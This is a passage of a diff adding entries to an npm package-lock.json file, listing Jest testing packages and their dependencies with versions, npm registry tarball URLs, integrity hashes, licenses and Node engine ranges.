4365+ },
4366+ "node_modules/@jest/fake-timers/node_modules/jest-mock": {
4367+ "version": "27.5.1",
4368+ "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz",
4369+ "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==",
4370+ "license": "MIT",
4371+ "dependencies": {
4372+ "@jest/types": "^27.5.1",
4373+ "@types/node": "*"
4374+ },
4375+ "engines": {
4376+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4377+ }
4378+ },
4379+ "node_modules/@jest/fake-timers/node_modules/jest-util": {
4380+ "version": "27.5.1",
4381+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
4382+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
4383+ "license": "MIT",
4384+ "dependencies": {
4385+ "@jest/types": "^27.5.1",
4386+ "@types/node": "*",
4387+ "chalk": "^4.0.0",
4388+ "ci-info": "^3.2.0",
4389+ "graceful-fs": "^4.2.9",
4390+ "picomatch": "^2.2.3"
4391+ },
4392+ "engines": {
4393+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4394+ }
4395+ },
4396+ "node_modules/@jest/fake-timers/node_modules/picomatch": {
4397+ "version": "2.3.1",
4398+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
4399+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
4400+ "license": "MIT",
4401+ "engines": {
4402+ "node": ">=8.6"
4403+ },
4404+ "funding": {
4405+ "url": "https://github.com/sponsors/jonschlinkert"
4406+ }
4407+ },
4408+ "node_modules/@jest/get-type": {
4409+ "version": "30.1.0",
4410+ "resolved": "https://registry.npmjs.org/@jest/get-type/-/get-type-30.1.0.tgz",
4411+ "integrity": "sha512-eMbZE2hUnx1WV0pmURZY9XoXPkUYjpc55mb0CrhtdWLtzMQPFvu/rZkTLZFTsdaVQa+Tr4eWAteqcUzoawq/uA==",
4412+ "license": "MIT",
4413+ "engines": {
4414+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
4415+ }
4416+ },
4417+ "node_modules/@jest/globals": {
4418+ "version": "27.5.1",
4419+ "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-27.5.1.tgz",
4420+ "integrity": "sha512-ZEJNB41OBQQgGzgyInAv0UUfDDj3upmHydjieSxFvTRuZElrx7tXg/uVQ5hYVEwiXs3+aMsAeEc9X7xiSKCm4Q==",
4421+ "license": "MIT",
4422+ "dependencies": {
4423+ "@jest/environment": "^27.5.1",
4424+ "@jest/types": "^27.5.1",
4425+ "expect": "^27.5.1"
4426+ },
4427+ "engines": {
4428+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4429+ }
4430+ },
4431+ "node_modules/@jest/globals/node_modules/@jest/types": {
4432+ "version": "27.5.1",
4433+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
4434+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
4435+ "license": "MIT",
4436+ "dependencies": {
4437+ "@types/istanbul-lib-coverage": "^2.0.0",
4438+ "@types/istanbul-reports": "^3.0.0",
4439+ "@types/node": "*",
4440+ "@types/yargs": "^16.0.0",
4441+ "chalk": "^4.0.0"
4442+ },
4443+ "engines": {
4444+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4445+ }
4446+ },
4447+ "node_modules/@jest/globals/node_modules/@types/yargs": {
4448+ "version": "16.0.11",
4449+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
4450+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
4451+ "license": "MIT",
4452+ "dependencies": {
4453+ "@types/yargs-parser": "*"
4454+ }
4455+ },
4456+ "node_modules/@jest/globals/node_modules/chalk": {
4457+ "version": "4.1.2",
4458+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
4459+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
4460+ "license": "MIT",
4461+ "dependencies": {
4462+ "ansi-styles": "^4.1.0",
4463+ "supports-color": "^7.1.0"
4464+ },
4465+ "engines": {
4466+ "node": ">=10"
4467+ },
4468+ "funding": {
4469+ "url": "https://github.com/chalk/chalk?sponsor=1"
4470+ }
4471+ },
4472+ "node_modules/@jest/globals/node_modules/expect": {
4473+ "version": "27.5.1",
4474+ "resolved": "https://registry.npmjs.org/expect/-/expect-27.5.1.tgz",
4475+ "integrity": "sha512-E1q5hSUG2AmYQwQJ041nvgpkODHQvB+RKlB4IYdru6uJsyFTRyZAP463M+1lINorwbqAmUggi6+WwkD8lCS/Dw==",
4476+ "license": "MIT",
4477+ "dependencies": {
4478+ "@jest/types": "^27.5.1",
4479+ "jest-get-type": "^27.5.1",
4480+ "jest-matcher-utils": "^27.5.1",
4481+ "jest-message-util": "^27.5.1"
4482+ },
4483+ "engines": {
4484+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4485+ }
4486+ },
4487+ "node_modules/@jest/globals/node_modules/jest-diff": {
4488+ "version": "27.5.1",
4489+ "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz",
4490+ "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==",
4491+ "license": "MIT",
4492+ "dependencies": {
4493+ "chalk": "^4.0.0",
4494+ "diff-sequences": "^27.5.1",
4495+ "jest-get-type": "^27.5.1",
4496+ "pretty-format": "^27.5.1"
4497+ },
4498+ "engines": {
4499+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4500+ }
4501+ },
4502+ "node_modules/@jest/globals/node_modules/jest-matcher-utils": {
4503+ "version": "27.5.1",
4504+ "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz",
4505+ "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==",
4506+ "license": "MIT",
4507+ "dependencies": {
4508+ "chalk": "^4.0.0",
4509+ "jest-diff": "^27.5.1",
4510+ "jest-get-type": "^27.5.1",
4511+ "pretty-format": "^27.5.1"
4512+ },
4513+ "engines": {
4514+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4515+ }
4516+ },
4517+ "node_modules/@jest/globals/node_modules/jest-message-util": {
4518+ "version": "27.5.1",
4519+ "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz",
4520+ "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==",
4521+ "license": "MIT",
4522+ "dependencies": {
4523+ "@babel/code-frame": "^7.12.13",
4524+ "@jest/types": "^27.5.1",
4525+ "@types/stack-utils": "^2.0.0",
4526+ "chalk": "^4.0.0",
4527+ "graceful-fs": "^4.2.9",
4528+ "micromatch": "^4.0.4",
4529+ "pretty-format": "^27.5.1",
4530+ "slash": "^3.0.0",
4531+ "stack-utils": "^2.0.3"
4532+ },
4533+ "engines": {
4534+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4535+ }
4536+ },
4537+ "node_modules/@jest/pattern": {
4538+ "version": "30.0.1",
4539+ "resolved": "https://registry.npmjs.org/@jest/pattern/-/pattern-30.0.1.tgz",
4540+ "integrity": "sha512-gWp7NfQW27LaBQz3TITS8L7ZCQ0TLvtmI//4OwlQRx4rnWxcPNIYjxZpDcN4+UlGxgm3jS5QPz8IPTCkb59wZA==",
4541+ "license": "MIT",
4542+ "dependencies": {
4543+ "@types/node": "*",
4544+ "jest-regex-util": "30.0.1"
4545+ },
4546+ "engines": {
4547+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
4548+ }
4549+ },
4550+ "node_modules/@jest/reporters": {
4551+ "version": "27.5.1",
4552+ "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-27.5.1.tgz",
4553+ "integrity": "sha512-cPXh9hWIlVJMQkVk84aIvXuBB4uQQmFqZiacloFuGiP3ah1sbCxCosidXFDfqG8+6fO1oR2dTJTlsOy4VFmUfw==",
4554+ "license": "MIT",
4555+ "dependencies": {
4556+ "@bcoe/v8-coverage": "^0.2.3",
4557+ "@jest/console": "^27.5.1",
4558+ "@jest/test-result": "^27.5.1",
4559+ "@jest/transform": "^27.5.1",
4560+ "@jest/types": "^27.5.1",
4561+ "@types/node": "*",
4562+ "chalk": "^4.0.0",
4563+ "collect-v8-coverage": "^1.0.0",
4564+ "exit": "^0.1.2",
4565+ "glob": "^7.1.2",
4566+ "graceful-fs": "^4.2.9",
4567+ "istanbul-lib-coverage": "^3.0.0",
4568+ "istanbul-lib-instrument": "^5.1.0",
4569+ "istanbul-lib-report": "^3.0.0",
4570+ "istanbul-lib-source-maps": "^4.0.0",
4571+ "istanbul-reports": "^3.1.3",
4572+ "jest-haste-map": "^27.5.1",
4573+ "jest-resolve": "^27.5.1",
4574+ "jest-util": "^27.5.1",
4575+ "jest-worker": "^27.5.1",
4576+ "slash": "^3.0.0",
4577+ "source-map": "^0.6.0",
4578+ "string-length": "^4.0.1",
4579+ "terminal-link": "^2.0.0",
4580+ "v8-to-istanbul": "^8.1.0"
4581+ },
4582+ "engines": {
4583+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4584+ },
4585+ "peerDependencies": {
4586+ "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0"
4587+ },
4588+ "peerDependenciesMeta": {
4589+ "node-notifier": {
4590+ "optional": true
4591+ }
4592+ }
4593+ },
4594+ "node_modules/@jest/reporters/node_modules/@jest/types": {
4595+ "version": "27.5.1",
4596+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
4597+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
4598+ "license": "MIT",
4599+ "dependencies": {
4600+ "@types/istanbul-lib-coverage": "^2.0.0",
4601+ "@types/istanbul-reports": "^3.0.0",
4602+ "@types/node": "*",
4603+ "@types/yargs": "^16.0.0",
4604+ "chalk": "^4.0.0"
4605+ },
4606+ "engines": {
4607+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4608+ }
4609+ },
4610+ "node_modules/@jest/reporters/node_modules/@types/yargs": {
4611+ "version": "16.0.11",
4612+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
4613+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
4614+ "license": "MIT",
4615+ "dependencies": {
4616+ "@types/yargs-parser": "*"
4617+ }
4618+ },
4619+ "node_modules/@jest/reporters/node_modules/chalk": {
4620+ "version": "4.1.2",
4621+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
4622+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
4623+ "license": "MIT",
4624+ "dependencies": {
4625+ "ansi-styles": "^4.1.0",
4626+ "supports-color": "^7.1.0"
4627+ },
4628+ "engines": {
4629+ "node": ">=10"
4630+ },
4631+ "funding": {
4632+ "url": "https://github.com/chalk/chalk?sponsor=1"
4633+ }
4634+ },
4635+ "node_modules/@jest/reporters/node_modules/ci-info": {
4636+ "version": "3.9.0",
4637+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
4638+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
4639+ "funding": [
4640+ {
4641+ "type": "github",
4642+ "url": "https://github.com/sponsors/sibiraj-s"
4643+ }
4644+ ],
4645+ "license": "MIT",
4646+ "engines": {
4647+ "node": ">=8"
4648+ }
4649+ },
4650+ "node_modules/@jest/reporters/node_modules/jest-util": {
4651+ "version": "27.5.1",
4652+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
4653+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
4654+ "license": "MIT",
4655+ "dependencies": {
4656+ "@jest/types": "^27.5.1",
4657+ "@types/node": "*",
4658+ "chalk": "^4.0.0",
4659+ "ci-info": "^3.2.0",
4660+ "graceful-fs": "^4.2.9",
4661+ "picomatch": "^2.2.3"
4662+ },
4663+ "engines": {
4664+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4665+ }
4666+ },
4667+ "node_modules/@jest/reporters/node_modules/picomatch": {
4668+ "version": "2.3.1",
4669+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
4670+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
4671+ "license": "MIT",
4672+ "engines": {
4673+ "node": ">=8.6"
4674+ },
4675+ "funding": {
4676+ "url": "https://github.com/sponsors/jonschlinkert"
4677+ }
4678+ },
4679+ "node_modules/@jest/reporters/node_modules/source-map": {
4680+ "version": "0.6.1",
4681+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
4682+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
4683+ "license": "BSD-3-Clause",
4684+ "engines": {
4685+ "node": ">=0.10.0"
4686+ }
4687+ },
4688+ "node_modules/@jest/schemas": {
4689+ "version": "30.0.5",
4690+ "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.5.tgz",
4691+ "integrity": "sha512-DmdYgtezMkh3cpU8/1uyXakv3tJRcmcXxBOcO0tbaozPwpmh4YMsnWrQm9ZmZMfa5ocbxzbFk6O4bDPEc/iAnA==",
4692+ "license": "MIT",
4693+ "dependencies": {
4694+ "@sinclair/typebox": "^0.34.0"
4695+ },
4696+ "engines": {
4697+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
4698+ }
4699+ },
4700+ "node_modules/@jest/source-map": {
4701+ "version": "27.5.1",
4702+ "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-27.5.1.tgz",
4703+ "integrity": "sha512-y9NIHUYF3PJRlHk98NdC/N1gl88BL08aQQgu4k4ZopQkCw9t9cV8mtl3TV8b/YCB8XaVTFrmUTAJvjsntDireg==",
4704+ "license": "MIT",
4705+ "dependencies": {
4706+ "callsites": "^3.0.0",
4707+ "graceful-fs": "^4.2.9",
4708+ "source-map": "^0.6.0"
4709+ },
4710+ "engines": {
4711+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4712+ }
4713+ },
4714+ "node_modules/@jest/source-map/node_modules/source-map": {
4715+ "version": "0.6.1",
4716+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
4717+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
4718+ "license": "BSD-3-Clause",
4719+ "engines": {
4720+ "node": ">=0.10.0"
4721+ }
4722+ },
4723+ "node_modules/@jest/test-result": {
4724+ "version": "27.5.1",
4725+ "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-27.5.1.tgz",
4726+ "integrity": "sha512-EW35l2RYFUcUQxFJz5Cv5MTOxlJIQs4I7gxzi2zVU7PJhOwfYq1MdC5nhSmYjX1gmMmLPvB3sIaC+BkcHRBfag==",
4727+ "license": "MIT",
4728+ "dependencies": {
4729+ "@jest/console": "^27.5.1",
4730+ "@jest/types": "^27.5.1",
4731+ "@types/istanbul-lib-coverage": "^2.0.0",
4732+ "collect-v8-coverage": "^1.0.0"
4733+ },
4734+ "engines": {
4735+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4736+ }
4737+ },
4738+ "node_modules/@jest/test-result/node_modules/@jest/types": {
4739+ "version": "27.5.1",
4740+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
4741+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
4742+ "license": "MIT",
4743+ "dependencies": {
4744+ "@types/istanbul-lib-coverage": "^2.0.0",
4745+ "@types/istanbul-reports": "^3.0.0",
4746+ "@types/node": "*",
4747+ "@types/yargs": "^16.0.0",
4748+ "chalk": "^4.0.0"
4749+ },
4750+ "engines": {
4751+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4752+ }
4753+ },
4754+ "node_modules/@jest/test-result/node_modules/@types/yargs": {
4755+ "version": "16.0.11",
4756+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
4757+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
4758+ "license": "MIT",
4759+ "dependencies": {
4760+ "@types/yargs-parser": "*"
4761+ }
4762+ },
4763+ "node_modules/@jest/test-result/node_modules/chalk": {
4764+ "version": "4.1.2",
4765+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
4766+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
4767+ "license": "MIT",
4768+ "dependencies": {
4769+ "ansi-styles": "^4.1.0",
4770+ "supports-color": "^7.1.0"
4771+ },
4772+ "engines": {
4773+ "node": ">=10"
4774+ },
4775+ "funding": {
4776+ "url": "https://github.com/chalk/chalk?sponsor=1"
4777+ }
4778+ },
4779+ "node_modules/@jest/test-sequencer": {
4780+ "version": "27.5.1",
4781+ "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-27.5.1.tgz",
4782+ "integrity": "sha512-LCheJF7WB2+9JuCS7VB/EmGIdQuhtqjRNI9A43idHv3E4KltCTsPsLxvdaubFHSYwY/fNjMWjl6vNRhDiN7vpQ==",
4783+ "license": "MIT",
4784+ "dependencies": {
4785+ "@jest/test-result": "^27.5.1",
4786+ "graceful-fs": "^4.2.9",
4787+ "jest-haste-map": "^27.5.1",
4788+ "jest-runtime": "^27.5.1"
4789+ },
4790+ "engines": {
4791+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4792+ }
4793+ },
4794+ "node_modules/@jest/transform": {
4795+ "version": "27.5.1",
4796+ "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-27.5.1.tgz",
4797+ "integrity": "sha512-ipON6WtYgl/1329g5AIJVbUuEh0wZVbdpGwC99Jw4LwuoBNS95MVphU6zOeD9pDkon+LLbFL7lOQRapbB8SCHw==",
4798+ "license": "MIT",
4799+ "dependencies": {
4800+ "@babel/core": "^7.1.0",
4801+ "@jest/types": "^27.5.1",
4802+ "babel-plugin-istanbul": "^6.1.1",
4803+ "chalk": "^4.0.0",
4804+ "convert-source-map": "^1.4.0",
4805+ "fast-json-stable-stringify": "^2.0.0",
4806+ "graceful-fs": "^4.2.9",
4807+ "jest-haste-map": "^27.5.1",
4808+ "jest-regex-util": "^27.5.1",
4809+ "jest-util": "^27.5.1",
4810+ "micromatch": "^4.0.4",
4811+ "pirates": "^4.0.4",
4812+ "slash": "^3.0.0",
4813+ "source-map": "^0.6.1",
4814+ "write-file-atomic": "^3.0.0"
4815+ },
4816+ "engines": {
4817+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4818+ }
4819+ },
4820+ "node_modules/@jest/transform/node_modules/@jest/types": {
4821+ "version": "27.5.1",
4822+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
4823+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
4824+ "license": "MIT",
4825+ "dependencies": {
4826+ "@types/istanbul-lib-coverage": "^2.0.0",
4827+ "@types/istanbul-reports": "^3.0.0",
4828+ "@types/node": "*",
4829+ "@types/yargs": "^16.0.0",
4830+ "chalk": "^4.0.0"
4831+ },
4832+ "engines": {
4833+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4834+ }
4835+ },
4836+ "node_modules/@jest/transform/node_modules/@types/yargs": {
4837+ "version": "16.0.11",
4838+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
4839+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
4840+ "license": "MIT",
4841+ "dependencies": {
4842+ "@types/yargs-parser": "*"
4843+ }
4844+ },
4845+ "node_modules/@jest/transform/node_modules/chalk": {
4846+ "version": "4.1.2",
4847+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
4848+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
4849+ "license": "MIT",
4850+ "dependencies": {
4851+ "ansi-styles": "^4.1.0",
4852+ "supports-color": "^7.1.0"
4853+ },
4854+ "engines": {
4855+ "node": ">=10"
4856+ },
4857+ "funding": {
4858+ "url": "https://github.com/chalk/chalk?sponsor=1"
4859+ }
4860+ },
4861+ "node_modules/@jest/transform/node_modules/ci-info": {
4862+ "version": "3.9.0",
4863+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
4864+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
4865+ "funding": [
4866+ {
4867+ "type": "github",
4868+ "url": "https://github.com/sponsors/sibiraj-s"
4869+ }
4870+ ],
4871+ "license": "MIT",
4872+ "engines": {
4873+ "node": ">=8"
4874+ }
4875+ },
4876+ "node_modules/@jest/transform/node_modules/convert-source-map": {
4877+ "version": "1.9.0",
4878+ "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz",
4879+ "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==",
4880+ "license": "MIT"
4881+ },
4882+ "node_modules/@jest/transform/node_modules/jest-regex-util": {
4883+ "version": "27.5.1",
4884+ "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz",
4885+ "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==",
4886+ "license": "MIT",
4887+ "engines": {
4888+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4889+ }
4890+ },
4891+ "node_modules/@jest/transform/node_modules/jest-util": {
4892+ "version": "27.5.1",
4893+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
4894+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
4895+ "license": "MIT",
4896+ "dependencies": {
4897+ "@jest/types": "^27.5.1",
4898+ "@types/node": "*",
4899+ "chalk": "^4.0.0",
4900+ "ci-info": "^3.2.0",
4901+ "graceful-fs": "^4.2.9",
4902+ "picomatch": "^2.2.3"
4903+ },
4904+ "engines": {
4905+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4906+ }
4907+ },
4908+ "node_modules/@jest/transform/node_modules/picomatch": {
4909+ "version": "2.3.1",
4910+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
4911+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
4912+ "license": "MIT",
4913+ "engines": {
4914+ "node": ">=8.6"
4915+ },
4916+ "funding": {
4917+ "url": "https://github.com/sponsors/jonschlinkert"
4918+ }
4919+ },
4920+ "node_modules/@jest/transform/node_modules/source-map": {
4921+ "version": "0.6.1",
4922+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
4923+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
4924+ "license": "BSD-3-Clause",
4925+ "engines": {
4926+ "node": ">=0.10.0"
4927+ }
4928+ },
4929+ "node_modules/@jest/types": {
4930+ "version": "30.2.0",
4931+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-30.2.0.tgz",
4932+ "integrity": "sha512-H9xg1/sfVvyfU7o3zMfBEjQ1gcsdeTMgqHoYdN79tuLqfTtuu7WckRA1R5whDwOzxaZAeMKTYWqP+WCAi0CHsg==",
4933+ "license": "MIT",
4934+ "dependencies": {
4935+ "@jest/pattern": "30.0.1",
4936+ "@jest/schemas": "30.0.5",
4937+ "@types/istanbul-lib-coverage": "^2.0.6",
4938+ "@types/istanbul-reports": "^3.0.4",
4939+ "@types/node": "*",
4940+ "@types/yargs": "^17.0.33",
4941+ "chalk": "^4.1.2"
4942+ },
4943+ "engines": {
4944+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
4945+ }
4946+ },
4947+ "node_modules/@jest/types/node_modules/chalk": {
4948+ "version": "4.1.2",
4949+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
4950+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
4951+ "license": "MIT",
4952+ "dependencies": {
4953+ "ansi-styles": "^4.1.0",
4954+ "supports-color": "^7.1.0"
4955+ },
4956+ "engines": {
4957+ "node": ">=10"
4958+ },
4959+ "funding": {
4960+ "url": "https://github.com/chalk/chalk?sponsor=1"
4961+ }
4962+ },
4963+ "node_modules/@jridgewell/gen-mapping": {
4964+ "version": "0.3.13",
4965+ "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",
4966+ "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==",
4967+ "license": "MIT",
4968+ "dependencies": {
4969+ "@jridgewell/sourcemap-codec": "^1.5.0",
4970+ "@jridgewell/trace-mapping": "^0.3.24"
4971+ }
4972+ },
4973+ "node_modules/@jridgewell/remapping": {
4974+ "version": "2.3.5",
4975+ "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz",
4976+ "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==",
4977+ "license": "MIT",
4978+ "dependencies": {
4979+ "@jridgewell/gen-mapping": "^0.3.5",
4980+ "@jridgewell/trace-mapping": "^0.3.24"
4981+ }
4982+ },
4983+ "node_modules/@jridgewell/resolve-uri": {
4984+ "version": "3.1.2",
4985+ "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
4986+ "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
4987+ "license": "MIT",
4988+ "engines": {
